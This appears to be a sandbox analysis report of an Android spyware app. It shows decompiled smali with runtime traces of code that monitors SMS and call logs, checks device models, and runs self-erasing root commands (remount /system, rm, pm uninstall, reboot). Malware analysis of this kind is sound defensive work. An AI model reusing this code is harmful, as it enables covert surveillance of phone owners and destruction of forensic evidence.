      211const-string v3, " rm /system/app/com.media.sync.apk;"
      213invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      214move-result-object v0
      216invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      217move-result-object v0
      219invoke-static {}, Lcom/network/android/a/c;->e()Z
      220move-result v3
      221if-nez v3, :cond_144
      222new-instance v3, Ljava/lang/StringBuilder;
      224invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
      226invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      227move-result-object v0
      229const-string v3, "pm uninstall com.network.android;"
      231invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      232move-result-object v0
      234invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      235move-result-object v0
      236cond_144: new-instance v3, Ljava/lang/StringBuilder;
      238invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
      240invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      241move-result-object v0
      243const-string v3, " kill "
      245invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      246move-result-object v0
      248invoke-static {}, Landroid/os/Process;->myPid()I
      249move-result v3
      251invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      252move-result-object v0
      254const-string v3, ";"
      256invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      257move-result-object v0
      259invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      260move-result-object v0
      261new-instance v3, Ljava/lang/StringBuilder;
      263invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
      265invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      266move-result-object v0
      268const-string v3, " rm "
      270invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      271move-result-object v0
      273invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      274move-result-object v0
      276const-string v2, ";"
      278invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      279move-result-object v0
      281invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      282move-result-object v0
      283new-instance v2, Ljava/lang/StringBuilder;
      285invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      287invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      288move-result-object v0
      290const-string v2, " rmdir -R "
      292invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      293move-result-object v0
      295invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      296move-result-object v0
      298const-string v1, ";"
      300invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      301move-result-object v0
      303invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      304move-result-object v0
      305new-instance v1, Ljava/lang/StringBuilder;
      307invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      309invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      310move-result-object v0
      312const-string v1, " sync;"
      314invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      315move-result-object v0
      317invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      318move-result-object v0
      319new-instance v1, Ljava/lang/StringBuilder;
      321invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      323invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      324move-result-object v0
      326const-string v1, "rm /system/ttg;"
      328invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      329move-result-object v0
      331invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      332move-result-object v0
      333new-instance v1, Ljava/lang/StringBuilder;
      335invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      337invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      338move-result-object v0
      340const-string v1, "chmod 0777 /system/csk;rm /system/csk;"
      342invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      343move-result-object v0
      345invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      346move-result-object v0
      347new-instance v1, Ljava/lang/StringBuilder;
      349invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      351invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      352move-result-object v0
      354const-string v1, "reboot;"
      356invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      357move-result-object v0
      359invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      360move-result-object v0
      361new-instance v1, Ljava/lang/StringBuilder;
      363const-string v2, "removePackage uninstalling agent from system using rm. command: "
      365invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      367invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      368move-result-object v1
      370invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      371move-result-object v1
      373invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      375invoke-static {v0}, Lcom/network/android/m;->c(Ljava/lang/String;)V
      377invoke-static {p0}, Lcom/network/h/b;->b(Landroid/content/Context;)V
      378goto_203:
      379invoke-static {p0}, Lcom/network/h/b;->b(Landroid/content/Context;)V
      380goto_206:
      381invoke-static {p0}, Lcom/network/h/b;->b(Landroid/content/Context;)V
      382goto_209: new-instance v0, Landroid/os/Handler;
      384invoke-direct {v0}, Landroid/os/Handler;-><init>()V
      385new-instance v1, Lcom/network/h/f;
      387invoke-direct {v1, p0}, Lcom/network/h/f;-><init>(Landroid/content/Context;)V
      389invoke-virtual {v0, v1, v4, v5}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
      391const-string v0, "remove Package end"
      393invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079741
        • p0: remove Package end
      394goto/16 :goto_42
      395try_start_21d:
      396const-string v0, "removePackage uninstalling using package manager. command: export LD_LIBRARY_PATH=/vendor/lib:/system/lib;mount -o remount,rw /dev/null /system;chmod 0777 /system/csk;rm /system/csk;rm /system/ttg;pm uninstall com.network.android;"
      398invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      400const-string v0, "export LD_LIBRARY_PATH=/vendor/lib:/system/lib;mount -o remount,rw /dev/null /system;chmod 0777 /system/csk;rm /system/csk;rm /system/ttg;pm uninstall com.network.android;"
      402invoke-static {v0}, Lcom/network/android/m;->c(Ljava/lang/String;)V
      403try_end_227: goto/16 :goto_203
      404catch_228: move-exception v0
      405try_start_229: new-instance v1, Ljava/lang/StringBuilder;
      407const-string v2, "removePackage: "
      409invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      411invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      412move-result-object v2
      414invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      415move-result-object v1
      417invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      418move-result-object v1
      420invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      421try_end_23f: goto/16 :goto_206
      422catchall_240: move-exception v0
      424invoke-static {p0}, Lcom/network/h/b;->b(Landroid/content/Context;)V
      425throw v0
      426cond_245:
      427invoke-static {}, Lcom/network/h/b;->b()V
      428new-instance v0, Landroid/os/Handler;
      430invoke-direct {v0}, Landroid/os/Handler;-><init>()V
      431new-instance v1, Lcom/network/h/e;
      433invoke-direct {v1, p0}, Lcom/network/h/e;-><init>(Landroid/content/Context;)V
      434const-wide/32 v2, 0x29810
      436invoke-virtual {v0, v1, v2, v3}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
      437goto/16 :goto_209
      APIs
      • com.network.android.monitor.observer.o.<init>
      • android.content.Context.getContentResolver
      • android.net.Uri.parse
      • android.content.ContentResolver.registerContentObserver
      • android.content.Context.getContentResolver
      • android.net.Uri.parse
      • android.content.ContentResolver.query
      • android.database.Cursor.moveToLast
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.Integer.valueOf
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.close
      • android.content.Context.getSharedPreferences
      • android.content.SharedPreferences.getString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.content.Context.getContentResolver
      • android.provider.CallLog$Calls.CONTENT_URI:Landroid/net/Uri
      • android.content.ContentResolver.query
      • android.database.Cursor.moveToFirst
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.content.SharedPreferences.edit
      • android.content.SharedPreferences$Editor.putString
      • android.content.SharedPreferences$Editor.commit
      • com.network.android.AndroidCallDirectWatcher.a
      • android.database.Cursor.close
      • java.lang.Integer.parseInt
      • java.lang.Integer.valueOf
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.Integer.valueOf
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • Sms ContentObserver registerContentObserver
      • content://sms
      • _id ASC
      • _id
      • Last sms:
      • Last sms: -1
      • NetworkIndex
      • networkId
      • AndroidCallDirectWatcher setCallLogId lastSentCallId:
      • AndroidCallDirectWatcher setCallLogId lastSentCallId: null
      • AndroidCallDirectWatcher setCallLogId callLogId set first Id
      • date DESC
      • date
      • AndroidCallDirectWatcher setCallLogId sent first ID callLogId:
      • AndroidCallDirectWatcher setCallLogId sent first ID callLogId: null
      • SmsWatcher start
      • set sms index Exception-
      • set sms first index Exception-
      • AndroidCallDirectWatcher setCallLogId no records
      • AndroidCallDirectWatcher first index Exception-
      • AndroidCallDirectWatcher finaly index Exception-
      Position Instruction Meta Information
      0const/4 v6, 0x0
      2invoke-super {p0, p1}, Lcom/network/android/monitor/observer/r;->a(Lcom/network/android/monitor/a/a;)V
      3check-cast p1, Lcom/network/e/a/a;
      5iget-object v0, p0, Lcom/network/android/monitor/observer/n;->b:Landroid/database/ContentObserver;
      6if-nez v0, :cond_dd
      8const-string v0, "Sms ContentObserver registerContentObserver"
      10invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068331
        • p0: Sms ContentObserver registerContentObserver
      12invoke-virtual {p1}, Lcom/network/e/a/a;->a()Landroid/content/Context;
      13move-result-object v8
      14new-instance v0, Lcom/network/android/monitor/observer/o;
      16invoke-direct {v0, p0, v8}, Lcom/network/android/monitor/observer/o;-><init>(Lcom/network/android/monitor/observer/n;Landroid/content/Context;)V
      17iput-object v0, p0, Lcom/network/android/monitor/observer/n;->b:Landroid/database/ContentObserver;
      19invoke-virtual {v8}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
      20move-result-object v0
      22const-string v1, "content://sms"
      24invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
      • Time: 1068364
        • uriString: content://sms
        • Return:
          • content://sms
      25move-result-object v1
      26const/4 v2, 0x1
      28iget-object v3, p0, Lcom/network/android/monitor/observer/n;->b:Landroid/database/ContentObserver;
      30invoke-virtual {v0, v1, v2, v3}, Landroid/content/ContentResolver;->registerContentObserver(Landroid/net/Uri;ZLandroid/database/ContentObserver;)V
      • Time: 1068369
        • This:
          • android.app.ContextImpl$ApplicationContentResolver@623ae6
        • p0: content://sms
        • p1: true
        • p2: com.network.android.monitor.observer.o@ba95827
      31try_start_2a:
      32const-string v5, "_id ASC"
      34invoke-virtual {v8}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
      35move-result-object v0
      37const-string v1, "content://sms"
      39invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
      • Time: 1068373
        • uriString: content://sms
        • Return:
          • content://sms
      40move-result-object v1
      41const/4 v2, 0x0
      42const/4 v3, 0x0
      43const/4 v4, 0x0
      45invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
      • Time: 1068445
        • This:
          • android.app.ContextImpl$ApplicationContentResolver@623ae6
        • p0: content://sms
        • p1: null
        • p2: null
        • p3: null
        • p4: _id ASC
        • Return:
          • android.content.ContentResolver$CursorWrapperInner@2494fc3
      46try_end_3c: move-result-object v1
      47try_start_3d:
      48invoke-interface {v1}, Landroid/database/Cursor;->moveToLast()Z
      49move-result v0
      50if-eqz v0, :cond_126
      52const-string v0, "_id"
      54invoke-interface {v1, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      55move-result v0
      57invoke-interface {v1, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      58move-result-object v0
      59iput-object v0, p0, Lcom/network/android/monitor/observer/n;->f:Ljava/lang/String;
      61iget-object v0, p0, Lcom/network/android/monitor/observer/n;->f:Ljava/lang/String;
      62if-nez v0, :cond_e3
      63const/4 v0, -0x1
      65invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
      66move-result-object v0
      67iput-object v0, p0, Lcom/network/android/monitor/observer/n;->d:Ljava/lang/Integer;
      68goto_5a: new-instance v0, Ljava/lang/StringBuilder;
      70const-string v2, "Last sms: "
      72invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      74iget-object v2, p0, Lcom/network/android/monitor/observer/n;->d:Ljava/lang/Integer;
      76invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
      77move-result-object v0
      79invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      80move-result-object v0
      82invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068448
        • p0: Last sms: -1
      83goto_6e:
      84invoke-interface {v1}, Landroid/database/Cursor;->close()V
      85try_end_71:
      86const-string v0, "NetworkIndex"
      87const/4 v1, 0x0
      89invoke-virtual {v8, v0, v1}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
      90move-result-object v9
      92const-string v0, "networkId"
      93const/4 v1, 0x0
      95invoke-interface {v9, v0, v1}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
      • Time: 1068462
        • This:
          • android.app.SharedPreferencesImpl@d4f1b79
        • p0: networkId
        • p1: null
        • Return:
          • null
      96move-result-object v7
      97new-instance v0, Ljava/lang/StringBuilder;
      99const-string v1, "AndroidCallDirectWatcher setCallLogId lastSentCallId: "
      101invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      103invoke-virtual {v0, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      104move-result-object v0
      106invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      107move-result-object v0
      109invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068467
        • p0: AndroidCallDirectWatcher setCallLogId lastSentCallId: null
      110if-nez v7, :cond_1aa
      112const-string v0, "AndroidCallDirectWatcher setCallLogId callLogId set first Id"
      114invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068470
        • p0: AndroidCallDirectWatcher setCallLogId callLogId set first Id
      116invoke-virtual {v8}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
      117move-result-object v0
      119sget-object v1, Landroid/provider/CallLog$Calls;->CONTENT_URI:Landroid/net/Uri;
      120const/4 v2, 0x0
      121const/4 v3, 0x0
      122const/4 v4, 0x0
      124const-string v5, "date DESC"
      126invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
      • Time: 1068477
        • This:
          • android.app.ContextImpl$ApplicationContentResolver@623ae6
        • p0: content://call_log/calls
        • p1: null
        • p2: null
        • p3: null
        • p4: date DESC
        • Return:
          • android.content.ContentResolver$CursorWrapperInner@a2e2758
      127try_end_a6: move-result-object v1
      128try_start_a7:
      129invoke-interface {v1}, Landroid/database/Cursor;->moveToFirst()Z
      130move-result v0
      131if-eqz v0, :cond_132
      133const-string v0, "date"
      135invoke-interface {v1, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      136move-result v0
      138invoke-interface {v1, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      139move-result-object v0
      140goto_b7: new-instance v2, Ljava/lang/StringBuilder;
      142const-string v3, "AndroidCallDirectWatcher setCallLogId sent first ID callLogId: "
      144invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      146invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      147move-result-object v2
      149invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      150move-result-object v2
      152invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068496
        • p0: AndroidCallDirectWatcher setCallLogId sent first ID callLogId: null
      154invoke-interface {v9}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
      155move-result-object v2
      157const-string v3, "networkId"
      159invoke-interface {v2, v3, v0}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
      161invoke-interface {v2}, Landroid/content/SharedPreferences$Editor;->commit()Z
      162goto_d5:
      163invoke-static {v0}, Lcom/network/android/AndroidCallDirectWatcher;->a(Ljava/lang/String;)V
      • Time: 1068557
        • p0: null
      164try_end_d8: if-eqz v1, :cond_dd
      165try_start_da:
      166invoke-interface {v1}, Landroid/database/Cursor;->close()V
      167goto_dd:
      168const-string v0, "SmsWatcher start "
      170invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068560
        • p0: SmsWatcher start
      171return-void
      172cond_e3:
      173iget-object v0, p0, Lcom/network/android/monitor/observer/n;->f:Ljava/lang/String;
      175invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
      176move-result v0
      178invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
      179move-result-object v0
      180iput-object v0, p0, Lcom/network/android/monitor/observer/n;->d:Ljava/lang/Integer;
      181try_end_ef: goto/16 :goto_5a
      182catch_f1: move-exception v0
      183try_start_f2: new-instance v2, Ljava/lang/StringBuilder;
      185const-string v3, "set sms index Exception- "
      187invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      189invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      190move-result-object v3
      192invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      193move-result-object v2
      195invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      196move-result-object v2
      198invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      199const/4 v0, 0x0
      200iput-object v0, p0, Lcom/network/android/monitor/observer/n;->d:Ljava/lang/Integer;
      201try_end_10b: goto/16 :goto_6e
      202catch_10d: move-exception v0
      203new-instance v1, Ljava/lang/StringBuilder;
      205const-string v2, "set sms first index Exception- "
      207invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      209invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      210move-result-object v2
      212invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      213move-result-object v1
      215invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      216move-result-object v1
      218invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      219goto/16 :goto_71
      220cond_126: const/4 v0, 0x0
      221try_start_127: iput-object v0, p0, Lcom/network/android/monitor/observer/n;->f:Ljava/lang/String;
      222const/4 v0, -0x1
      224invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
      225move-result-object v0
      226iput-object v0, p0, Lcom/network/android/monitor/observer/n;->d:Ljava/lang/Integer;
      227try_end_130: goto/16 :goto_5a
      228cond_132:
      229const-string v0, "AndroidCallDirectWatcher setCallLogId no records"
      231invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068494
        • p0: AndroidCallDirectWatcher setCallLogId no records
      232try_end_137: move-object v0, v7
      233goto/16 :goto_b7
      234catch_13a: move-exception v0
      235move-object v1, v6
      236try_start_13c: new-instance v2, Ljava/lang/StringBuilder;
      238const-string v3, "AndroidCallDirectWatcher first index Exception- "
      240invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      242invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      243move-result-object v3
      245invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      246move-result-object v2
      248invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      249move-result-object v2
      251invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      252try_end_152: if-eqz v1, :cond_dd
      253try_start_154:
      254invoke-interface {v1}, Landroid/database/Cursor;->close()V
      255try_end_157: goto/16 :goto_dd
      256catch_158: move-exception v0
      257new-instance v1, Ljava/lang/StringBuilder;
      259const-string v2, "AndroidCallDirectWatcher finaly index Exception- "
      261invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      263invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      264move-result-object v2
      266invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      267move-result-object v1
      269invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      270move-result-object v1
      271goto_16c:
      272invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      273goto/16 :goto_dd
      274catchall_171: move-exception v0
      275move-object v1, v6
      276goto_173: if-eqz v1, :cond_178
      277try_start_175:
      278invoke-interface {v1}, Landroid/database/Cursor;->close()V
      279cond_178: throw v0
      280catch_179: move-exception v1
      281new-instance v2, Ljava/lang/StringBuilder;
      283const-string v3, "AndroidCallDirectWatcher finaly index Exception- "
      285invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      287invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      288move-result-object v3
      290invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      291move-result-object v2
      293invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      294move-result-object v2
      296invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      297goto/16 :goto_178
      298catch_191: move-exception v0
      299new-instance v1, Ljava/lang/StringBuilder;
      301const-string v2, "AndroidCallDirectWatcher finaly index Exception- "
      303invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      305invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      306move-result-object v2
      308invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      309move-result-object v1
      311invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      312move-result-object v1
      313goto/16 :goto_16c
      314catchall_1a6: move-exception v0
      315goto/16 :goto_173
      316catch_1a8: move-exception v0
      317goto/16 :goto_13c
      318cond_1aa: move-object v0, v7
      319move-object v1, v6
      320goto/16 :goto_d5
      Cross References
      APIs
      • java.lang.Boolean.valueOf
      • java.lang.Boolean.valueOf
      • java.lang.Integer.valueOf
      • java.lang.Boolean.valueOf
      • java.lang.Boolean.valueOf
      • android.os.Build.MODEL:Ljava/lang/String
      • java.lang.String.toLowerCase
      • java.lang.String.contains
      • java.lang.Integer.valueOf
      • java.lang.Boolean.valueOf
      • java.lang.Boolean.valueOf
      • java.lang.Boolean.valueOf
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.Boolean.valueOf
      • java.lang.Boolean.valueOf
      • java.lang.Boolean.valueOf
      • java.lang.String.contains
      • java.lang.Boolean.valueOf
      • java.lang.String.contains
      • java.lang.Integer.valueOf
      • java.lang.Boolean.valueOf
      • java.lang.String.contains
      • java.lang.Integer.valueOf
      • java.lang.Boolean.valueOf
      • java.lang.Integer.valueOf
      • java.lang.String.contains
      • java.lang.Integer.valueOf
      • java.lang.Boolean.valueOf
      • java.lang.String.contains
      • java.lang.Integer.valueOf
      • java.lang.Boolean.valueOf
      • java.lang.String.contains
      • java.lang.Integer.valueOf
      • java.lang.Boolean.valueOf
      • java.lang.String.contains
      • java.lang.String.contains
      • java.lang.Integer.valueOf
      • java.lang.Boolean.valueOf
      • java.lang.String.contains
      • java.lang.Integer.valueOf
      • java.lang.Boolean.valueOf
      • java.lang.String.contains
      • java.lang.Integer.valueOf
      • java.lang.Boolean.valueOf
      • java.lang.String.contains
      • java.lang.Integer.valueOf
      • java.lang.String.contains
      • java.lang.Integer.valueOf
      • java.lang.Boolean.valueOf
      • java.lang.Boolean.valueOf
      • java.lang.String.contains
      • java.lang.Integer.valueOf
      • java.lang.Boolean.valueOf
      • java.lang.String.contains
      • java.lang.Boolean.valueOf
      • java.lang.String.contains
      • java.lang.Boolean.valueOf
      • java.lang.Boolean.valueOf
      Strings
      • readProperties start
      • Galaxy Nexus
      • nexus s
      • readProperties end
      • readProperties-
      • st15i
      • gt-i9100g
      • gt-i9100
      • gt-i9300
      • i9000
      • shw-m250k
      • hero
      • dell streak
      • t989
      • i727
      • incredible 2
      • r800i
      • x10
      • x710e
      • mb860
      Position Instruction Meta Information
      0const/4 v5, 0x0
      1const/4 v4, 0x1
      2try_start_2:
      3const-string v0, "readProperties start"
      5invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068920
        • p0: readProperties start
      7invoke-static {}, Lcom/network/a/a;->b()D
      8move-result-wide v0
      9const-wide v2, 0x4002666666666666L # 2.3
      10cmpg-double v0, v0, v2
      11if-gez v0, :cond_59
      12const/4 v0, 0x1
      14invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      15move-result-object v0
      16sput-object v0, Lcom/network/b/a;->b:Ljava/lang/Boolean;
      17const/4 v0, 0x0
      19invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      20move-result-object v0
      21sput-object v0, Lcom/network/b/a;->c:Ljava/lang/Boolean;
